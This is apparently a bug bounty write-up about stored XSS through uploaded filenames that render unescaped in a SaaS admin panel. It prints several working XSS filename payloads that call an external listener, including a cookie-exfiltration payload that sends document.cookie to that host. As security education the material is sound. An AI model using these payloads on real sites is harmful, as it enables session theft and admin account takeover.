// How it started

I was three hours into a target — a document management SaaS, mid-size company, private program. The API was boring. The auth was solid. I'd tested the usual suspects and found nothing. I was looking at an upload form for user attachments, mostly out of habit, when I started thinking about something most people overlook.

Hunters test file content — EICAR strings, polyglot files, malicious PDFs. But the filename itself? It's just metadata. It goes into a database field. At some point, someone renders it in a list view. And if nobody sanitized it when it was stored, it's a stored XSS payload sitting in your database, waiting for an admin to open the right page.

Why the filename is special: file content is often scanned, sanitized, or stored in object storage where it's never interpreted as HTML. The filename is stored in your database and rendered in HTML templates — often by multiple pages: upload listing, activity log, admin file manager, email notifications, audit trail. One injection point. Many render surfaces.

// The first test — confirming the surface

Before injecting anything, I wanted to confirm the filename was reflected somewhere in the UI. I uploaded a file with a distinctive name and went looking for it.

📁 My Documents — acmesaas.com/files
NAMESIZEDATE
📄 Q3-report-final.pdf 244 KB May 28
📄 invoice-2026-04.pdf 88 KB May 27
📄 XSSTEST_CANARY_12345.pdf 1 KB just now

The filename appeared verbatim in the file listing. No truncation, no encoding visible in the rendered HTML. I right-clicked and inspected the source — the filename was inside an unescaped <td> element. The app was rendering it raw.

That was all I needed. The surface was confirmed. Now I needed to know where else the filename appeared — specifically, whether it rendered in an admin context where a session cookie would be worth stealing.

// Mapping the render surfaces

This is the step most writeups skip. Before injecting a real XSS payload, I spent 10 minutes mapping every place in the app where a filename could be rendered:

  • User-facing file list — confirmed, but same-origin as the attacker. Low value.
  • Activity feed — "You uploaded FILENAME" — likely rendered in both user and admin views.
  • Email notifications — "A new file has been shared: FILENAME" — rendered by an email client, not a browser. XSS won't fire here but good for phishing.
  • Admin file manager/admin/files returned a 302 to login. This meant there was an admin panel listing user uploads. If an admin had to review flagged files, they'd see the filename there.
  • Audit log/admin/audit also 302'd. Audit logs almost always include filenames verbatim.
The admin panel is the prize. XSS in your own file listing is self-XSS — worthless for bug bounty. XSS in an admin panel that a staff member will open is account takeover. Always map where the filename renders before choosing your payload.

// The payload

I set up my pingback.sh listener — subdomain abc123.pingback.sh — and crafted the filename. The goal: when the admin opens the file list, their browser loads a resource from my listener, proving the XSS fired in an admin context.

# Classic img onerror — works when the filename is in an HTML attribute
"><img src=//abc123.pingback.sh/filename-xss onerror=this.src>.pdf

# If the filename lands in a <td> or <div> — script tag variant
<script src=//abc123.pingback.sh/filename-xss></script>.pdf

# SVG variant — bypasses some basic filters
<svg onload=fetch('//abc123.pingback.sh/svg')>.pdf

# Polyglot — works in both attribute context and tag context
"><svg/onload=fetch('//abc123.pingback.sh/poly')>.pdf

# If the filename is inside a JS string (e.g. var filename = "FILENAME")
"; fetch('//abc123.pingback.sh/js-ctx'); var x=".pdf

I went with the img onerror variant first — it's the most reliable across different HTML contexts and doesn't require JavaScript execution to be unblocked by CSP for the initial load. I renamed my test file and re-uploaded it.

📁 My Documents — acmesaas.com/files
NAMESIZEDATE
📄 Q3-report-final.pdf 244 KB May 28
📄 "><img src=//abc123.pingback.sh/filename-xss onerror=this.src>.pdf 1 KB just now

On my own file listing, the image tag was visible as raw text — the user-facing frontend was escaping the filename properly. I made a note: the user side is safe. But the admin panel was a different code path, probably a different template, written by a different developer. I set a reminder and went to make coffee.

// Three hours later

I came back to my pingback dashboard expecting nothing. The file had been sitting there for three hours. I'd moved on to other endpoints.

dashboard — abc123.pingback.sh
TIMEPROTOPATH / DETAILSSOURCE IP
3h 12m ago XSS GET /filename-xss — Chrome/124 · admin.acmesaas.com 185.44.x.x
3h 12m ago HTTP Referer: https://admin.acmesaas.com/admin/files 185.44.x.x

Two details made this hit a confirmed P1 instead of a self-XSS:

First, the Referer header: https://admin.acmesaas.com/admin/files. That's not the user-facing app — that's the admin subdomain. A staff member had opened the admin file manager and my payload had fired in their browser session.

Second, the timing: three hours after upload. This wasn't automated. A real human admin had manually reviewed the file list — probably as part of a content moderation workflow. My payload had been sitting in their database, waiting.

The Referer header is your evidence. When the XSS fires, the browser sends a Referer header to your pingback listener showing which page triggered it. admin.acmesaas.com in the Referer = admin context = the finding just became a P1. Always check the Referer in your pingback hit.

// Escalating the PoC — stealing the session cookie

The first hit proved the XSS fired in the admin panel. Now I needed to demonstrate the full impact without actually taking over the account. The standard escalation: show that you could exfiltrate the session cookie.

# Cookie exfiltration payload — use this in the filename
# Sends the admin's cookies to your pingback listener as a URL parameter

"><img src=x onerror="fetch('//abc123.pingback.sh/cookie?c='+btoa(document.cookie))">.pdf

# What you see in pingback:
GET /cookie?c=c2Vzc2lvbj1hZG1pbi10b2tlbi1oZXJlOyBwYXRoPSc...

# Decode the base64:
# session=admin-token-here; path=/; HttpOnly  ← if HttpOnly is missing, full ATO
# session=[redacted]; Secure; HttpOnly        ← HttpOnly present, note in report
Stop at the cookie capture PoC. Showing the cookie value in your pingback dashboard screenshot is sufficient proof of impact. Do not use the cookie to log into the admin account — that crosses unauthorized access. Screenshot the encoded value, decode it locally to confirm it's a session cookie, and document it in your report as "cookie exfiltration confirmed".

In this case, the cookie came through without the HttpOnly flag — meaning it was fully accessible to JavaScript and a real attacker could take over the admin session. The report went in as Critical.

// The full attack timeline

T+0:00 — recon
Found the upload form. Uploaded a canary file with a distinctive name. Confirmed the filename appeared verbatim in the HTML source of the file listing.
T+0:10 — mapping
Mapped render surfaces. User file list, activity feed, admin file manager, audit log. Identified admin panel as the high-value target. User-side was sanitized.
T+0:18 — inject
Uploaded the XSS filename. img onerror variant pointing to abc123.pingback.sh/filename-xss. User-side rendered it as escaped text — admin side unknown.
T+3:12 — hit
XSS fired in admin panel. pingback received HTTP hit. Referer: admin.acmesaas.com/admin/files. A real admin had opened the file manager. Payload executed in their browser.
T+3:25 — escalation
Cookie exfiltration confirmed. Uploaded a second filename with cookie-stealing payload. Admin session cookie captured in pingback. HttpOnly absent — full ATO possible.
T+3:35 — report
Report submitted. Screenshots from pingback dashboard showing both hits, Referer headers, base64-decoded cookie value. Triaged as Critical within 2 hours.

// Every surface worth testing

The filename vector isn't limited to upload forms. Anywhere a user-controlled name ends up in an HTML template is a candidate:

  • File upload forms — the obvious one. Test the filename, not just the content.
  • Image / avatar uploads — profile pictures, company logos. The filename often appears in admin user management pages.
  • Import feature filenames — CSV import, data migration tools. The filename is usually shown in import history logs viewed by admins.
  • Email attachment names — if users can send emails through the platform, attachment filenames may render in recipient inboxes or admin moderation queues.
  • Document titles vs filenames — some apps auto-populate a document title from the filename. Test if the title field inherits the injection.
  • Archive contents — upload a ZIP. If the app extracts and lists the contents, filenames inside the ZIP are also a vector.

// Why this keeps working in 2026

Modern web frameworks escape output by default — React, Vue, Angular all handle HTML encoding automatically. So why does filename XSS still work?

Because admin panels are almost always legacy code. The user-facing app was rewritten in React. The admin panel is still a five-year-old server-rendered template that a backend developer wrote in a weekend and nobody has touched since. It predates the framework. It doesn't benefit from automatic escaping. And it renders filenames from a database field that nobody thought to sanitize on the way in.

One team writes the user frontend carefully. A different team, with different standards, wrote the admin backend. The gap between them is where the bug lives.

final severity
Critical
P1 · stored XSS · admin ATO
time to hit
3 hours
waited for admin to open panel
key insight
filename
not the file. the name.

#XSS #StoredXSS #BugBounty #BugBountyTips #FileUpload #AppSec